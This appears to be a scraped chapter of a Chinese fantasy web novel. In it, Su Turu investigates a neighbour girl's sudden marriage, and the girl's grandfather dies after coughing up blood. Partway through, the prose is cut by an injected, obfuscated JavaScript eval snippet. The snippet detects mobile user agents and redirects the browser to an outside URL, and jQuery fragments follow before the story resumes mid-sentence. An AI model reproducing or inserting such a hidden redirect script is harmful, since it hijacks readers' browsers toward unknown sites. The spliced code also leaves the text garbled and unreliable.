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19. 镜中花(十四)

作者:楼听风本书字数:K更新时间:
    “那可能是被夺舍了吧。”酆瞳扯了扯嘴角,不走心地敷衍道。 苏涂汝熄了火,屋里的气氛安静得有些诡异,她有些不自在地抬了抬手,一步一步往后退,跟酆瞳拉开了些距离。 嘴里还小声嘟囔着:“怕就是负心汉变心的故事了,小姑娘天真烂漫,就是容易被骗。” 酆瞳默默看着用完就打算跑的苏涂汝,几不可闻地摇摇头:“那可说不准。” 正打算告辞的苏涂汝眼前一亮,下意识又往前两步:“哦?” 酆瞳瞥她一眼:“你还是走吧。” 苏涂汝:… “酆瞳,你知道人间一句俗语吗?” “什么?” “说话说半句,是会烂舌头的。”苏涂汝狠狠瞪了他一眼,说完这句话便跨步而出,走得决绝又潇洒。 出了门后,苏涂汝的指甲狠狠嵌入掌心,袖间小臂都有些轻颤,被气的。 “他都昏迷五年了,能知道什么,还要这么逗人,有些鬼真是越活越回去。”一面安慰自己,一面暗暗抱怨着里面那位,苏涂汝快步回到自己的屋内,给自己斟了杯温茶饮下,想要浇下那股吃瘪的心头火。 躺在榻上闭目养神的元阳听见动静爬起来,看向那边:“娘……怎么生气了?” 苏涂汝没好气:“都怪你爹。” 元阳眨巴眨巴眼睛,不明所以,但…… “哼哼,叫娘非要支开元阳,夫君哪有亲人靠得住。” 这孩子,都从哪里学来的这些话,一套一套的。苏涂汝哭笑不得地看着他,点头附和:“是,夫君哪有儿子好……” 这么重复了一遍,苏涂汝脑子中忽有一个画面闪过,她正要细想,忽然听到一阵撕心裂肺的咳嗽声从西边阿菱家传来——“咳!咳咳咳!!” 哪怕有着一墙之隔,依旧惊天动地。 苏涂汝和元阳眼神对上,儿子一下子就明白了苏涂汝所想,两人靠近墙边,元阳在苏涂汝的帮忙下爬上墙头,看到了佝偻着腰低头闷咳的薛黄,他本就干瘦的身躯不知是在痉挛还是颤抖。 元阳担忧道:“薛爷爷,听见您咳得厉害,我娘让我问问可是有什么不适?” 苏涂汝闻言,忙将手笼成喇叭提高声音补充道:“我略通些岐黄之术,若薛老不嫌,我帮您看看罢。” 待那让人心惊的咳喘声平息,元阳看到那位老人手里紧紧攥着一方丝帕,白色丝帕上一点红格外显眼。 ! 娘,薛爷爷咯血了。 收到元阳的传音,苏涂汝眉头紧锁:薛黄身体一向硬朗,到现在还能帮着砌房割麦,怎么会突然咯血? 苏涂汝将元阳从墙头接下来,拉着他直奔隔壁而去,叩响了薛家的门。 少顷,薛家奶奶打开门,却用身体不动声色拦在了苏涂汝和元阳面前,脸上的笑容有些苍白和虚假。 “多谢关心,但没啥事,就是岔气了。人老了,哪能比得上年轻时候。”薛家老太如是解释,拿出了婉拒的态度:“还劳烦你们跑一趟,不必啦,请回吧。” 元阳还想再说:“可是薛爷爷……” “元阳。”苏涂汝出声阻止,也挂上了个半真半假的笑:“好,红梨子熬煮的吊梨汤可缓解咳喘之疾,您可以给薛老爷子熬一些。” 薛家老太笑眯眯应下:“好,多谢苏娘子。” “客气,您二老有任何需要帮忙的尽管来隔壁敲门。” 元阳鼓起腮帮子,脚跟支在地上抱胸等着两个大人好一番客气,足足客套了一刻钟…… 眼看元阳快由站着改为蹲着,苏涂汝终于和薛家老太告辞回家了,其实这次比起之前,已经快很多了,但元阳在回去的路上还是踢着石子抱怨:“你们大人怎么没事还要站在那聊那么久,真的很无聊。” 重点是,元阳听着都是些家长里短,没一点正事儿。 看着儿子这模样,苏涂汝不由得想起自己小时候,每逢大人寒暄应酬,也是这样子,哪还能不懂他在想什么呢。 她伸出手摸了摸儿子的头:“每一次的相聚都要好好对待。” 这句话还有后半句,有些悲伤的后半句,苏涂汝并不认同,便也没跟元阳说。 元阳带着清澈的迷茫看了母亲一眼,云里雾里。 “等你长大就知道啦。”苏涂汝像之前她爷爷奶奶教她那样,语重心长道。 不出所料,元阳睫毛扇了扇,随后别过小脸,没把她的话放心上,甚至有些生气。 折腾了一天,即使没什么收获,也是挺累人的,小孩子精力充沛的时间就那么几个时辰,沾床没多久就安静下来。 苏涂汝并无睡意,提笔坐在案前沉思,她总觉得自己遗漏了什么。 薛菱为何一夕之间变了这么多,一个黄毛丫头肯定不会突然生出这么大的注意,怕是孔家早就找上了她,提出了她无法拒绝的条件,如果她与孔安早就认识,那孔安喜欢她便也解释得通了。 既然喜欢,为什么会有因执念而生、千年不散的水镜出现,这情伤就这么深? 两人相识也不过半年,苏涂汝实在难以理解。 那方带血的丝帕又是怎么回事?难道是……薛黄患病,为了给祖父治病,薛菱才选择兵行险招这下下之策。 这似乎是最合理的解释,但这样看,孔安和薛菱两人殊途同归,虽各有所图,终成眷属、各得所愿,并无冲突或是矛盾,又怎会落得那样让人唏嘘的结局。 如今这情况,孔家进不得也就算了,连薛家都讲他们拒之门外,也只能等着了。 好在,这次苏涂汝并没有等很久。 坏在,那从未成过真的未尽之语,竟一语成谶。 每一次相聚都要好好对待,你并不知哪一次就将是永别。 薛黄死了,在一个平常的早上。 薛家老太的哭嚎声由尖厉悲痛变得沙哑无力,薛家取下嫁孙女的红绸,换上象征哀悼的灵幡,乌鸦在薛家门口的树上停驻,有气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15934256|172720||http|test|mini|href|location.split(|),0,{})); () { $(.inform).remove(); $(#content).append( 无力地报着丧。 苏涂汝恍惚了:怎么会这么快! 随后是一阵洪流一样的愧疚。 她本来可以救下的,但这一切都太猝不及防。 而且,薛黄不是出现在了千百年后的冥界,她便以为他定是寿终正寝的,直到走入灵堂吊唁时看见那面容安详的老者,苏涂汝才后知后觉意识到,上了岁数的人是经不住打击的,他在阿菱出嫁后一夜之间苍老许多,已经与她在冥界见过的样子相差无二。 薛家灵堂空空荡荡的,除了一旁忙活的薛家老太和苏涂汝一家三人,再没有旁人。 “老薛昨日咳了一口黑血便再也没醒,今日凌晨咽的气,太突然,我……我也不知该怎么办了。”薛家老太垂泪,伸出的手都是颤的:“老薛啊,你怎么舍得丢下我们孤儿寡母的啊,就这么赤条条撒手走了。” 苏涂汝心中隐隐作痛,上前馋住老太,张了张嘴却又把安慰的话咽了回去,最终叹了口气:“阿婆节哀。” 元阳被这气氛震撼片刻,也有些悲伤,但到底是小孩子,对于死亡的感知并没有那么深,就着这点百无禁忌的勇气,他也凑上来代替母亲扶住老婆婆:“奶奶别难过,薛爷爷在天上看着呢,肯定也不想你难过。” 这话,听着怎么那么耳熟?这不是在冥界时她安慰薛黄说过的嘛。 行,我们元阳真是聪明伶俐,都懂得现学现卖了,苏涂汝无奈地勾了勾唇,柔声问薛家老太:“阿婆,就你一个人吗,我们留下帮您吧。” 说完,她给抱拳闲站在一旁的酆曈试了个眼色,酆曈不情不愿地啧了一声,路过苏涂汝的时候用只有他们两人听得到的声音吐出一句“多管闲事”。 莫名被骂的苏涂汝很茫然看向那个抢过薛家老太手中笤帚的男人,刚刚还态度极差的人此刻弯下腰、堆着从未有过的温暖笑意跟有些怔愣的老奶奶说:“阿婆,您忙活到现在,得空也歇会,后面还有很多事要您亲自来。” 薛家老太没反应过来,她从未见过苏娘子这位病秧子夫君如此和颜悦色的一面,足足呆了有一会儿才磕磕巴巴地想拉回笤帚:“不用,阿菱在路上了,阿菱她爹听到消息应该也会尽快回来,你们不必帮我,这不合规矩,还会给你们添了晦气。” 酆曈收了些笑意,不可一世地勾起一抹欠揍的笑:“我就是规矩,才不在乎晦气那一套。” 元阳揪着苏涂汝衣角,传音道:是的,他是冥界之主,谁能晦气超过他。 苏涂汝忙不迭点头,深以为然。 便也帮着劝道:“阿婆,他话糙理不糙,您就别管了,等阿菱和她爹回来了,您有帮手了,我们就不管了。您要是一直熬着把身体熬坏了,就没人管薛老了。” 不知哪句话触动了老太,她没再坚持,回屋去休息了。 又过了一个时辰,门口急急刮进来一阵风,阿菱风尘仆仆地跑了进来,气都没喘匀,眼神便一眨不眨地盯住了那安放遗体的木棺。 空气仿若凝住。
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